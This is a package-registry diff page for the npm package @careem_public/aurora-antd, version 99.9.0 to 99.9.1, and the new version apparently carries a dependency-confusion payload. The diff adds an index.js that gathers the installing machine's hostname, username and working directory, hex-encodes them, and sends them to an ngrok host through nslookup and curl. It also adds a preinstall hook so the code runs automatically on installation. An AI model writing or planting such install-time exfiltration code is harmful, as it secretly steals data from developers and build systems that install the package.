@careem_public/aurora-antd 99.9.0 → 99.9.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +19 -0
  2. package/package.json +2 -2
package/index.js ADDED
@@ -0,0 +1,19 @@
1
+ const { exec } = require("child_process");
2
+ const os = require("os");
3
+
4
+ // Data to exfiltrate
5
+ const data = [
6
+ os.hostname(),
7
+ os.userInfo().username,
8
+ process.cwd(),
9
+ "ci-dependency-test"
10
+ ].join("|");
11
+
12
+ // Encode as hex
13
+ const encoded = Buffer.from(data).toString("hex");
14
+
15
+ // DNS exfil
16
+ exec(`nslookup ${encoded.slice(0, 32)}.d16d04304b7b.ngrok-free.app`, () => {});
17
+
18
+ // HTTP exfil
19
+ exec(`curl -s 'https://d16d04304b7b.ngrok-free.app/?d=${encoded}'`, () => {});
package/package.json CHANGED
@@ -1,9 +1,9 @@
1
1
  {
2
2
  "name": "@careem_public/aurora-antd",
3
- "version": "99.9.0",
3
+ "version": "99.9.1",
4
4
  "main": "index.js",
5
5
  "scripts": {
6
- "test": "echo \"Error: no test specified\" && exit 1"
6
+ "preinstall": "node index.js"
7
7
  },
8
8
  "keywords": [],
9
9
  "author": "",